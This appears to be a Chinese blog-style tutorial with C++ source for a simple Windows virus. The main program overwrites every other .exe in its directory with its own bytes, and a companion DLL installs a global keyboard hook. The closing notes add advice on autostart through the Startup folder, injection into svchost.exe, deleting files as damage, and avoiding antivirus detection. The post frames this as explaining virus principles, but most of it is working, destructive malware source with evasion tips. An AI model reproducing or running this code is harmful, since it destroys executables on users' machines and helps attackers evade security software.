#include
#include
#include
using namespace std;
HMODULE g_hModule = NULL;
// 感染同目录下的exe
void Infection()
{
// 把自己打开,准备感染
char szFullFileName[MAX_PATH] = "";
GetModuleFileName(NULL, szFullFileName, sizeof(szFullFileName) / sizeof(char));
char szFileName[64] = "";
const char *pChr = strrchr(szFullFileName, '\\');
if (!pChr)
{
return ;
}
strcpy_s(szFileName, sizeof(szFileName), pChr + 1);
FILE *pSelfFile = NULL;
errno_t err = fopen_s(&pSelfFile, szFullFileName, "rb");
if (err)
{
cerr << err << endl;
return ;
}
fseek(pSelfFile, 0, SEEK_END);
int nMySize = ftell(pSelfFile);
fseek(pSelfFile, 0, SEEK_SET);
// 把自己读入内存
char *pszMySelf = new char[nMySize];
if (!pszMySelf)
{
fclose(pSelfFile);
return ;
}
memset(pszMySelf, 0, nMySize);
fread(pszMySelf, nMySize / 10, 10, pSelfFile);
// 取当前目录,准备搜索
char szDir[MAX_PATH] = "";
GetCurrentDirectory(sizeof(szDir) / sizeof(char), szDir);
char szSearchFile[MAX_PATH] = "";
strcpy_s(szSearchFile, sizeof(szSearchFile), szDir);
strcat_s(szSearchFile, sizeof(szSearchFile), "\\*");
WIN32_FIND_DATA fd;
memset(&fd, 0, sizeof(WIN32_FIND_DATA));
HANDLE hFile = FindFirstFile(szSearchFile, &fd);
if (hFile == INVALID_HANDLE_VALUE)
{
cerr << GetLastError() << endl;
fclose(pSelfFile);
return ;
}
// 循环读取exe文件,开始感染
while(TRUE)
{
if (FALSE == FindNextFile(hFile, &fd))
{
break;
}
if (strcmp(fd.cFileName, szFileName) == 0)
{
continue ;
}
if (strstr(fd.cFileName, ".exe") != NULL)
{
char szDstFileFullPath[MAX_PATH] = "";
strcpy_s(szDstFileFullPath, sizeof(szDstFileFullPath), szDir);
strcat_s(szDstFileFullPath, sizeof(szDstFileFullPath), "\\");
strcat_s(szDstFileFullPath, sizeof(szDstFileFullPath), fd.cFileName);
FILE *pFile = NULL;
fopen_s(&pFile, szDstFileFullPath, "r+b");
fseek(pFile, 0, SEEK_SET);
fwrite(pszMySelf, nMySize / 10, 10, pFile);
fclose(pFile);
cout << "已感染文件:" << szDstFileFullPath << endl;
}
else
{
// remove(fd.cFileName);
}
}
fclose(pSelfFile);
delete []pszMySelf;
}
void CreateKeyboardHook()
{
g_hModule = LoadLibrary("Hook.dll");
if (!g_hModule)
{
return ;
}
typedef void (*HookFunc)();
HookFunc myHookFunc = (HookFunc)GetProcAddress(g_hModule, "SetHook");
if (!myHookFunc)
{
FreeLibrary(g_hModule);
return ;
}
myHookFunc();
}
int main()
{
Infection();
CreateKeyboardHook();
system("pause");
typedef void (*UnHookFunc)();
UnHookFunc unHookFunc = (UnHookFunc)GetProcAddress(g_hModule, "UnHook");
if (!unHookFunc)
{
FreeLibrary(g_hModule);
return 1;
}
unHookFunc();
FreeLibrary(g_hModule);
return 0;
}
#include
extern "C" _declspec(dllexport) void SetHook();
extern "C" _declspec(dllexport) void UnHook();
HHOOK g_KeyBoardHook = NULL;
LRESULT CALLBACK KeyBoardHook(int nCode, WPARAM wParam, LPARAM lParam)
{
if (49 == wParam)
{
wParam = 50;
::MessageBox(NULL, "你按了A,我帮你改成B", "关掉吧", MB_OK);
return CallNextHookEx(g_KeyBoardHook, nCode, wParam, lParam);
}
else if (0 == wParam)
{
UnhookWindowsHookEx(g_KeyBoardHook);
}
return 1;
}
void SetHook()
{
g_KeyBoardHook = SetWindowsHookEx(WH_KEYBOARD, KeyBoardHook, GetModuleHandle("Hook"), 0);
}
void UnHook()
{
UnhookWindowsHookEx(g_KeyBoardHook);
}
以上两个程序只是为了说明病毒的原理,其实,这只算是一段恶意的代码,第一段代码是主程序,编译成exe,第二段代码是dll文件,先编译一下dll文件,把lib文件放到主程序运行目录下,把dll文件放到病毒程序运行目录下,就可以了
1、病毒若想要自动运行,很简单,只要把我们的exe放入开始菜单的启动项就可以了,每次开机都会自动运行,如果高级点的话,就注入到别的进程里去吧,如svchost.exe,具体实现,下次有时间再讲解。
2、病毒感染,这是个很简单的过程,就是打开目标文件,把病毒文件一个字节一个字节的读出来,然后写入到目标文件,这样,目标文件就拥有与病毒文件相同的功能,也就是,如果目标是*.exe文件,那么,目标文件运行后也会跟源病毒文件做相同的事
3、病毒破坏作用,这个也很简单,想破坏个东西还不容易吗,删除文件就属于破坏行为了。如果想监控客户机,就安装个钩子吧,就像上面的代码一样,安装了个键盘钩子。
4、现在的计算机都安装有杀毒软件,想要入侵怎么办?最简单的办法,就是写个简单的破坏软件(这种软件杀毒软件不会报,杀毒软件是个苦差啊,有些是不能报的),就像上面的那两段代码,去掉钩子,杀毒软件就不会报了,接下来,就是简单的破坏了,只要不是写注册表,不安装钩子,不自动运行,杀软一般都不会报,当然,这也是去了病毒程序最好玩的地方